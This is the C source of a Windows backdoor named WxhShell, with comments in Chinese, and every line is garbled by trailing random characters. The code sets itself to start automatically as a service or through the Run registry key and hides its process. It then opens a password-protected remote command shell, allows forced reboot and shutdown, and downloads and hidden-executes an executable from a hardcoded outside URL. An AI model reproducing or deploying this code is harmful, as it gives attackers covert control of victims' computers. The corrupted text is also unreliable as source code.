if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8T523VI
WinExec(wscfg.ws_filenam,SW_HIDE); ;{j@ia
} OCN:{
8"=E0(m
if(!OsIsNt) { { POfT m}
// 如果时win9x，隐藏进程并且设置为注册表启动 zE8qU;
HideProc(); ,DIr&5>p2
StartWxhshell(lpCmdLine); tNf_,]u
} 7W.z8>p
else O-uf^S4
if(StartFromService()) f^]^IXzXw.
// 以服务方式启动 ET\>cxSp
StartServiceCtrlDispatcher(DispatchTable); 49!(Sa_]j
else =38c}(
// 普通方式启动 q,>-4Cm
StartWxhshell(lpCmdLine); O*lMIWx
],|;
return 0; Ue&I]/?;$
} *r/o \pyH
3gQ2wP*K
SYYg 2I
X,`^z,M%I
=========================================== \R.Fmeko
GswV/V+u
tGwQUn
$wm8N.I3I
3J}/<&wv
$_+.D`vx`
" i*61i0
.2f0e[J
#include <stdio.h> zwgO|Qg;
#include <string.h> 2>F`H7W
#include <windows.h> &`B Tw1u
#include <winsock2.h> 1Gp|_8
#include <winsvc.h> |>v8yS5
#include <urlmon.h> |IZFWZd
eMOnzW|h
#pragma comment (lib, "Ws2_32.lib") *?R<gWCF
#pragma comment (lib, "urlmon.lib") ia*Bcx_RW+
P"s7}cl
#define MAX_USER 100 // 最大客户端连接数 YPmgR]=6
#define BUF_SOCK 200 // sock buffer l~#%j( Yo
#define KEY_BUFF 255 // 输入 buffer iu+rg(*%
`7jdV
#define REBOOT 0 // 重启 PbIir=
#define SHUTDOWN 1 // 关机 n_S)9C'=
0#!Z1:Y
#define DEF_PORT 5000 // 监听端口 ZJ'FZ8Sx
8?[#\KgH1
#define REG_LEN 16 // 注册表键长度 kWxcB7)uk
#define SVC_LEN 80 // NT服务名长度 (R^Ca7F
QvDD
// 从dll定义API tS sDW!!M
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pi'[d7o
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;oJCV"y6$
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dL|*#e
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I7HP~v~
]oE:p
// wxhshell配置信息 9Fh1rZD<
struct WSCFG { `cpUl*Y=
int ws_port; // 监听端口 [8rl{~9E
char ws_passstr[REG_LEN]; // 口令 ;0Mg\~T~'
int ws_autoins; // 安装标记, 1=yes 0=no {f[X)
char ws_regname[REG_LEN]; // 注册表键名 =Y<RG"]a&J
char ws_svcname[REG_LEN]; // 服务名 k%h%mz
char ws_svcdisp[SVC_LEN]; // 服务显示名 vF.Ml
char ws_svcdesc[SVC_LEN]; // 服务描述信息 9p%8VDF=
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |s{[<;
int ws_downexe; // 下载执行标记, 1=yes 0=no {U7A&e0eW
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rEY5,'?YHv
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c@)}zcw*
4<l&cP
}; Fy-|E>@]D
JTfG^Nv>K
// default Wxhshell configuration &46Ro|XE`
struct WSCFG wscfg={DEF_PORT, JB(P-Y#yyA
"xuhuanlingzhe", XE.Y?{,R$
1, ="AJ&BqHd
"Wxhshell", QP1bm]QYA
"Wxhshell", ;(~H(]D
"WxhShell Service", NiO|Aki{
"Wrsky Windows CmdShell Service", *pKj6x
"Please Input Your Password: ", 7?EC kuSv
1, EP}NT)z,{
"http://www.wrsky.com/wxhshell.exe", #`b5kqQm
"Wxhshell.exe" n;0x\Q|S
}; YDdY'd`*
P4.snRQ
// 消息定义模块 t9+ME|
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r-IG.ym3
char *msg_ws_prompt="\n\r? for help\n\r#>"; xH/Pw?^
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [SA$d`B/
char *msg_ws_ext="\n\rExit."; fk
char *msg_ws_end="\n\rQuit."; ;'xd8Jf
char *msg_ws_boot="\n\rReboot..."; QP0[
char *msg_ws_poff="\n\rShutdown..."; b.sRB1
char *msg_ws_down="\n\rSave to "; Tv`-h
!>gu#Q{\-
char *msg_ws_err="\n\rErr!"; *m9,_~t
char *msg_ws_ok="\n\rOK!"; OX*5 yT{
l1wYN,rv
char ExeFile[MAX_PATH]; 3f^~mTY9>]
int nUser = 0; >Pw ZHY
HANDLE handles[MAX_USER]; s5SKQ#,@P
int OsIsNt; 'q9='TOk
+/Q?<*[
SERVICE_STATUS serviceStatus; k| Ye[GM*
SERVICE_STATUS_HANDLE hServiceStatusHandle; DV">9{"5']
d:1TSJff%/
// 函数声明 c DO<z
int Install(void); b+3QqbJ[F
int Uninstall(void); ZJeTx.Gi6
int DownloadFile(char *sURL, SOCKET wsh); T%p/(
int Boot(int flag); ^lYa9k
void HideProc(void); H<bK9k)E
int GetOsVer(void); 4_B1qN
int Wxhshell(SOCKET wsl); ("$ ,FRTQ:
void TalkWithClient(void *cs); Z_Z; g]|!
int CmdShell(SOCKET sock); h,WF'X+
int StartFromService(void); ,}hJ)
int StartWxhshell(LPSTR lpCmdLine); =9@t6
>!7\Rx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gNoQ[xFx32
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P-c<[DSM'I
Hjtn*^fo^
// 数据结构和表定义 F4%vEn\!
SERVICE_TABLE_ENTRY DispatchTable[] = {f kP|d
{ 9V5d=^
{wscfg.ws_svcname, NTServiceMain}, %Yi^{ZrM
{NULL, NULL} TaN]{k
}; -g;cg7O#(
6rD Oa~<B
// 自我安装 %W[#60
int Install(void) b\^q9fy
{ 0cxk)l%
char svExeFile[MAX_PATH]; |#6))Dh
HKEY key; ]sf1+3
strcpy(svExeFile,ExeFile); Z<,$XvL
erC)2{m
// 如果是win9x系统，修改注册表设为自启动 ao(lj
if(!OsIsNt) { |`50Tf\J
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jQc.@^#+x
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _:Jra
RegCloseKey(key); ~&?{hd.
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S`qa_yI)Ed
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n2#Yw}7^,o
RegCloseKey(key); Q-:IE T
return 0; _,m|gr,S
} rL=_z^.P
} !y{t}|U/d
} =gjq@N]lAW
else { q0l=S+0
=Q!)xEK
// 如果是NT以上系统，安装为系统服务 =/b WS,=
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ."#M X!
if (schSCManager!=0) }}g.L|
{ j.FW*iX1C
SC_HANDLE schService = CreateService Y,%d_yR[
( DG!H8^
schSCManager, v_$'!i$
wscfg.ws_svcname, +TQMA>@g<
wscfg.ws_svcdisp, 8a;I,DK=j
SERVICE_ALL_ACCESS, wf= s-C
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~fDMzOd
SERVICE_AUTO_START, ba-J-G@YW
SERVICE_ERROR_NORMAL, *<[Nvk^
svExeFile, M,ObzgW
NULL, 5:o$]LkOWC
NULL, EM.7,;|N
NULL, .|pyloL.
NULL, 7%E]E,f/#
NULL G q" [5r"
); /_`f b)f
if (schService!=0) 6U`<+[K7
{ U60jkzIRH
CloseServiceHandle(schService); *r&q;ER
CloseServiceHandle(schSCManager); ZDI%?.U
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .5;Xd?
strcat(svExeFile,wscfg.ws_svcname); sU/R$Nbr
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1%;o-F@
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <#hltPyh
RegCloseKey(key); kbxy^4"X
return 0; @LzqQ[
} ,.cNs5[t
} \GR M,c
CloseServiceHandle(schSCManager); a*pwVn
} g@va@*|~d
} 0!:1o61
&7{/ x~S{
return 1; I.M@we/bR}
} t~luBUF
%4%$NdU"
// 自我卸载 [^cflmV
int Uninstall(void) d=TZaVL$$
{ x tJ_azt
HKEY key; %|3I|'%Y
(\Iz(N["G
if(!OsIsNt) { nY#V~^|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vSt7&ec
RegDeleteValue(key,wscfg.ws_regname); fcuU,A
RegCloseKey(key); Vu%XoI)<KY
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vBMuVpzO
RegDeleteValue(key,wscfg.ws_regname); Xy74D/ocui
RegCloseKey(key); P~>E
return 0; j &#A 9!
} )]=1W
} wc3OOyP@0
} HOn,c@.9Y
else { C/JeD-JG
S~8w-lG!
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &?],uHB?d
if (schSCManager!=0) QJcaOXyMS
{ zH1pW(
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5kK:1hH7
if (schService!=0) gbf-3KSp^
{ MpV3.
if(DeleteService(schService)!=0) { %7X<:f|N8x
CloseServiceHandle(schService); \WDL?(G<
CloseServiceHandle(schSCManager); Y1?"Ut
return 0; /-#1ys#F=
} )w{bT]
CloseServiceHandle(schService); 8>E_bxC
} YpAJ7E|7
CloseServiceHandle(schSCManager); 92@/8,[
} JYY:~2
} d$3;o&VUNI
wIrjWU2
return 1; JJ50(h)U
} ]%{.zl!
x2#5"/~4
// 从指定url下载文件 arCi$:-z@
int DownloadFile(char *sURL, SOCKET wsh) !J5k?J&{=
{ 5}4f[
HRESULT hr; LP{{PT.&X
char seps[]= "/"; I^M%+\
char *token; $[L8UUHY<8
char *file; $`2rtF
char myURL[MAX_PATH]; %uuh+@/&yz
char myFILE[MAX_PATH]; )JO#Z(
ArFsr
strcpy(myURL,sURL); Kk}|[\fW
token=strtok(myURL,seps); m3apeIEi[
while(token!=NULL) kWF/SsE
{ *^BW[C/CTR
file=token; 6m.ChlO/
token=strtok(NULL,seps); "[PxLq5
} O8;`6r
A`=;yD
GetCurrentDirectory(MAX_PATH,myFILE); .4M8
strcat(myFILE, "\\"); ;XJK*QDN
strcat(myFILE, file); /Hox]r]'e
send(wsh,myFILE,strlen(myFILE),0); n{>Ge,enP0
send(wsh,"...",3,0); D 8nt%vy
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @}#"o
if(hr==S_OK) 6.o8vC/PZ
return 0; &GF|Rr8NXs
else bIFKP
return 1; jV(\]g"/=
>&@hm4
} `1cGb*b/
z (N3oBW
// 系统电源模块 QT1(= wK3
int Boot(int flag) ugtzF
{ }Yi)r*LI3
HANDLE hToken; dmq<vVxC
TOKEN_PRIVILEGES tkp; wq|~[+y
[}7j0&
if(OsIsNt) { \2?p
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e&Z\hZBb
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h'i8o>7
tkp.PrivilegeCount = 1; hK!Z~
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HT]v S}s
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <b-BJ2],k
if(flag==REBOOT) { @/S6P-4
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *WSH-*0
return 0; 3Y\7+975m
} hjuzVOE|W
else { _%HpB=
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 81\$X
return 0; J{GtH[
} Xx;RH9YYz
} '%W'HqVcG1
else { U6hT*126
if(flag==REBOOT) { ]dXHjOpA
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rsbdDTy
return 0; pUvbIbg+
} Qg)=4(<Hr
else { (nhv#&Fd+
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) br!:g]Vh
return 0; OL,3Jh% x
} DzZ)aE
} tEz6B}
&*G+-cF
return 1; mhp&; Q9
} jzuOs,:R
/PP\L](
// win9x进程隐藏模块 Rp~#zt9:
void HideProc(void) =1dU~B:Lm
{ OSQt:58K
5K1WfdBX7)
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %5X}4k!p
if ( hKernel != NULL ) go, Hfb
{ N4 O'{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rm7$i9DH2
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &&iZ?JteZ
FreeLibrary(hKernel); 8\Y/?$on
} 8\-Q(9q(
IAr
return; HaP0;9q
} Jjb(lW
QjW7XVxB#N
// 获取操作系统版本 RU>Hr5ebo
int GetOsVer(void) p_!;N^y.
{ O<3i6
OSVERSIONINFO winfo; PZ/gD
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f%LzWXA
GetVersionEx(&winfo); FHNK%Ko
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7wt2|$Qz
return 1; %21i#R`E
else =-M)2&~L~
return 0; S~"1q 0
} 32_{nLV$[
\`w!v,aM$
// 客户端句柄模块 X-oHQu5
int Wxhshell(SOCKET wsl) Q AJX7
{ dzYB0vut@
SOCKET wsh; O*3x'I*a
struct sockaddr_in client; yVThbL_YJ
DWORD myID; 7w7mE
gf!hO$sQ3
while(nUser<MAX_USER) WZk\mSNV
{ q% Eze
int nSize=sizeof(client); |Rr^K5hmD
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Vis
if(wsh==INVALID_SOCKET) return 1; BX[92~Bq
_VU/j9<+
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /Kmzi9j+
if(handles[nUser]==0) (wmMHo|
closesocket(wsh); X\SZ Q[gN
else !GkwbHr+p
nUser++; im&E\`L7
} S~1>q+<Q
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8uyUvSB
I)~&6@Jn
return 0; 15Vb`Vf`N
} #C?T
|H67ny&K^&
// 关闭 socket [Rh[Z#6
void CloseIt(SOCKET wsh) W~GbB:-
{ 8?S32Gdu
closesocket(wsh); QMI&?Q:=
nUser--; } d /5_X
ExitThread(0); rs01@
} ,63hO.4M
t&UPU&tY
// 客户端请求句柄 /#Y)nyE
void TalkWithClient(void *cs) ; Xy\7tx
{ uLYz!E+E
e{edI{g
SOCKET wsh=(SOCKET)cs; !1f8~"Z
char pwd[SVC_LEN]; z`-?5-a]I
char cmd[KEY_BUFF]; X{rw+!
char chr[1]; 0N3 cC4!
int i,j; SWr?>dl
DpIv <m]
while (nUser < MAX_USER) { OL]^4m
\F%5TRoC
if(wscfg.ws_passstr) { iw<#V&([J
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wvl>iHB
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OYGh!sW
//ZeroMemory(pwd,KEY_BUFF); (yFR;5Fo
i=0; PMk3b3)Z
while(i<SVC_LEN) { %dTkw+J
66<3zadJZU
// 设置超时 SCk2D!u
fd_set FdRead; ~U&,hFSPY
struct timeval TimeOut; &6A'}9Ch
FD_ZERO(&FdRead); yH>`Kbf T
FD_SET(wsh,&FdRead); #LlHsY530N
TimeOut.tv_sec=8; >:M3!6H_~{
TimeOut.tv_usec=0; R}F0_.
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !RLg[_'
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y@[}FgVOh
ODK$G [-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y:C7S~
pwd=chr[0]; OKfJ
if(chr[0]==0xd || chr[0]==0xa) { 8~?3: IZ
pwd=0; ._m+@Uy]H}
break; O=}4?Xv
} '~i}2e.
i++; wZVY h
} P0J3ci}^
W)jO 4,eO
// 如果是非法用户，关闭 socket SU OuayE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &Zl$7
} $:"r$7
5uMh#dm^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v_f8zk
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~lMw*Qw^
2"lDKjj
while(1) { FjIS:9^)t5
gK/mm\K@
ZeroMemory(cmd,KEY_BUFF); D<$~bUkxR
FblwQ-D
// 自动支持客户端 telnet标准 |R:gu\gG
j=0; R6~x!
while(j<KEY_BUFF) { |;_NCy8i3X
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wXp A1,i
cmd[j]=chr[0]; IW3ZHmrpA
if(chr[0]==0xa || chr[0]==0xd) { 9tsI1]1[m
cmd[j]=0; )ALPMmlRs
break; `,d*>
} xy$73K6
j++; 02:]
} 1eQ9(hzF
&=H{ 36i@
// 下载文件 D_ xPa
if(strstr(cmd,"http://")) { .GUm3b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t m?[0@<s
if(DownloadFile(cmd,wsh)) <uUQ-]QOIh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pC l[DE
else PE3FuJGz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >f#P(
} r=P)iE:
else { =LV7K8FSd
HQ~`ha.
switch(cmd[0]) { ,/AwR?m
`Bk7W]{L
// 帮助 sS;6QkI"y
case '?': { >c%OnA,3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G'IqAKJ
break; &C<K|F!j!
} ;q]Jm
// 安装 OJiW@Z_\
case 'i': { c7Sa|9*dR
if(Install()) kcKcIn{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =!T@'P?
else *,<A[XP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .?R~!K{`
break; K}"xZy Tm1
} e5G)83[=
// 卸载 HE58A.Q&
case 'r': { %jz]s4u$5j
if(Uninstall()) 52?zBl`|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ix@rn
else eygmhaE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u(l[~r>8W;
break; T<(1)N1H`
} 3/c3e{,!
// 显示 wxhshell 所在路径 D\|$!i}
case 'p': { m=D2|WA8
char svExeFile[MAX_PATH]; rD=8O#m g
strcpy(svExeFile,"\n\r"); mM&Sq;JJ;
strcat(svExeFile,ExeFile); "%fh`4y3\
send(wsh,svExeFile,strlen(svExeFile),0); MCOiB<L6
break; <knf^D<"
} t80s(e
// 重启 j6v|D>I
case 'b': { su;u_rc,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /(IV+
if(Boot(REBOOT)) Aq'yr,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); < kyT{[e+6
else { oV"d%ks
closesocket(wsh); iUSP+iC,
ExitThread(0); D.d(D:
} fkf69,+"]
break; D![42H+-Qd
} nOq?Q
// 关机 <xM$^r)
case 'd': { +8qtFog$\g
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :})(@.H
if(Boot(SHUTDOWN)) .T~<[0Ex+U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HYVSi3[
else { sF9{(Us
closesocket(wsh); hojP3 [
ExitThread(0); _)|_KQQu
} *+(t2!yFmE
break; ?88k`T'EI
} fH#yJd2?f
// 获取shell dRwOt
case 's': { AI KLJvte
CmdShell(wsh); 48%-lkol)
closesocket(wsh); FY;\1bt<<
ExitThread(0); m(0sG(A~
break; LX<arHz
} [5[}2B_t
// 退出 <JtH/oN
case 'x': { vTnrSNdSE
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1{6BU!
CloseIt(wsh); 5)712b(&
break; E/bIq}R6
} K:!){a[
// 离开 Xge]3Ub
case 'q': { =BD}+(3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %=p:\+`VI
closesocket(wsh); s P=$>@3
WSACleanup(); /<[S> ;!kr
exit(1); k^<s|8Y
break; ?:StFlie
} LDg"s0n#
} 8CXZ7p
} b1+6I_u.
"ijpqI
// 提示信息 ~nit~;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vjo@aY.x
} %>,B1nt
} 'u9,L FO
99QMMup
return; K4T#8K]aZF
} )-qWcf?
>L5fc".
// shell模块句柄 m/{HZKh
int CmdShell(SOCKET sock) NO$n-<ag
{ c}XuzgSY
STARTUPINFO si; Xk2M.:3`
ZeroMemory(&si,sizeof(si)); .&z/p3 1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4Cd#S9<ed
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8]SJ=c"}Xf
PROCESS_INFORMATION ProcessInfo; O$dcy!
char cmdline[]="cmd"; *[ ' n8Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >Xz=E0;^Ua
return 0; SW94(4qo
} ]lBe
0wFa7PyG?
// 自身启动模式 gK&MdF*
int StartFromService(void) T/[8w
{ Drn{ucIs
typedef struct ~Onj|w7
{ Sf_q;Ws
DWORD ExitStatus; +&AKDVmx
DWORD PebBaseAddress; ?nVwT[
DWORD AffinityMask; d3nx"=Cy0I
DWORD BasePriority; )^Ha?;TS
ULONG UniqueProcessId; D)kh"cK*1
ULONG InheritedFromUniqueProcessId; A~2U9f+\
} PROCESS_BASIC_INFORMATION; Yg @&@S]
[H~Yg2O
PROCNTQSIP NtQueryInformationProcess; q+j.)e
[Ej#NHs
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ujlIWQU2mo
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *8QESF9
,H_b@$]n8
HANDLE hProcess; z XI [f
PROCESS_BASIC_INFORMATION pbi; s!lLdR[g
PpxLMe]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @Feusprs
if(NULL == hInst ) return 0; ?MW*`U
-dj9(~?^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [RAzKzC\M
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {S9't;%]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %i!=.7o.
/mi9q
if (!NtQueryInformationProcess) return 0; OpNTyKbaD
S.: m$s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qw#wZ'<n
if(!hProcess) return 0; @yGK$<R
Q140b;Z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4qd =]i
1 #zIAN>
CloseHandle(hProcess); )A@ }mIs"
"mbjS(-eg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g6s&nH`Z2
if(hProcess==NULL) return 0; \n&l
Moldv x=M
HMODULE hMod; %^`b)
char procName[255]; ?{)sdJe
unsigned long cbNeeded; @;6I94Bp
iXF iFsb
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TO,XN\{y
B-R& v8F
CloseHandle(hProcess); 1X ?9Ji)h
0h3-;%
if(strstr(procName,"services")) return 1; // 以服务启动 _`oP*g =
~BUzyc%
return 0; // 注册表启动 ?k|}\l[X1
} =DL |Q
Q5ZZ4`K!
// 主模块 lc:dKGF6
int StartWxhshell(LPSTR lpCmdLine) }L!%^siG_
{ Wl29xY}`{!
SOCKET wsl; A"Prgf eT
BOOL val=TRUE; T#o?@;
int port=0; `wMHjcUP
struct sockaddr_in door; ?k 4|;DD
@nh*H{
if(wscfg.ws_autoins) Install(); ,mHQ
x5X;^.1Fr
port=atoi(lpCmdLine); :rdw0EROy
!vrduOB
if(port<=0) port=wscfg.ws_port; 96VJE,^h
J2KULXF
WSADATA data; brdfjE8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t+H=%{z
~xp(k
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g?9IS,Gp
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TJ5g?#Wul
door.sin_family = AF_INET; FX yyY-(O
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 34Fc oud);
door.sin_port = htons(port); }C'H@:/
|riP*b
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qf'%".*=~8
closesocket(wsl); xn&$qLB
return 1; t_+Xt$Q7C
} TwaK>t96[
e7$ZA#A_5v
if(listen(wsl,2) == INVALID_SOCKET) { 46(=*iT&V
closesocket(wsl); wnPg).
return 1; }+m")=1{
} Dp8`O4YC
Wxhshell(wsl); /uNgftj
WSACleanup(); W5f|#{&L:
T, z80m}
return 0; 5gg Yg$
)tD[Ffvr
} a*D])Lu[
nYvx[ zq?^
// 以NT服务方式启动 ^z^zsNx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h{5K9$9=
{ 'f "KV|
DWORD status = 0; G9|w o)N
DWORD specificError = 0xfffffff; K8R}2K-Y
p-S&Wq
serviceStatus.dwServiceType = SERVICE_WIN32; zZhA]J
serviceStatus.dwCurrentState = SERVICE_START_PENDING; O'i!}$=g
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O,c}T7A'?w
serviceStatus.dwWin32ExitCode = 0; er%D`VHe
serviceStatus.dwServiceSpecificExitCode = 0; 5.TeH@(
serviceStatus.dwCheckPoint = 0; W74Y.zQ
serviceStatus.dwWaitHint = 0; N}/|B}
tW8&:L,m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oR1HJ2>Z1
if (hServiceStatusHandle==0) return; nl\l7/}6
Pc:5*H
status = GetLastError(); 2K~<_.S
if (status!=NO_ERROR) ->rr4xaKC
{ 3$yOv"`
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5dNM:1VoE
serviceStatus.dwCheckPoint = 0; iLIv<VK/d
serviceStatus.dwWaitHint = 0; Ob~7r*q
serviceStatus.dwWin32ExitCode = status; |l#<vw wE
serviceStatus.dwServiceSpecificExitCode = specificError; #sRkKl|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s-[v[w'E
return; )/vse5EG+
} NU <K+k
x&4gy%b
serviceStatus.dwCurrentState = SERVICE_RUNNING; pFW^
serviceStatus.dwCheckPoint = 0; `({Bi!%i
serviceStatus.dwWaitHint = 0; )/{zTg8$?/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @}oY6cW;B*
} %0MvCm
,'%wadOo
// 处理NT服务事件，比如：启动、停止 !^FR a{b
VOID WINAPI NTServiceHandler(DWORD fdwControl) i .GJO +K
{ :5DL&,,Q3
switch(fdwControl) <{Pr(U*7}
{ N0POyd/rL
case SERVICE_CONTROL_STOP: ,jc')#]9B
serviceStatus.dwWin32ExitCode = 0; ^8q(_#w`K
serviceStatus.dwCurrentState = SERVICE_STOPPED; )a=58r07
serviceStatus.dwCheckPoint = 0; L8WYxJ k
serviceStatus.dwWaitHint = 0; Kwmtt
{ J4l\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'lIj89h<E
} CUI\:a-
return; 8TH fFL
case SERVICE_CONTROL_PAUSE: X?gH(mn
serviceStatus.dwCurrentState = SERVICE_PAUSED; RO!em~{D*
break; \|f3\4;!
case SERVICE_CONTROL_CONTINUE: vvwQ/iJO4Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; ar[I| Q_
break; 7mT iO?/y<
case SERVICE_CONTROL_INTERROGATE: NQu.%=
break; bSvr8FY3d
}; 0vjlSHS;`.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R[vA%G
} uozK'L
g=)OcTd#
// 标准应用程序主函数 98ot{+/LK
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *Ud=x^JxO
{ !V~,aoKTj
>X58 zlxk
// 获取操作系统版本 d$}!x[g$Z
OsIsNt=GetOsVer(); 30fqD1_{
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3X:)r<
7)zF8V
// 从命令行安装 9=5xt;mEs}
if(strpbrk(lpCmdLine,"iI")) Install(); Ej#pM.
*m6h(8(7Z
// 下载执行文件 kW4B @Zh
if(wscfg.ws_downexe) { D3(rD]c0{
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1@<PcQBp
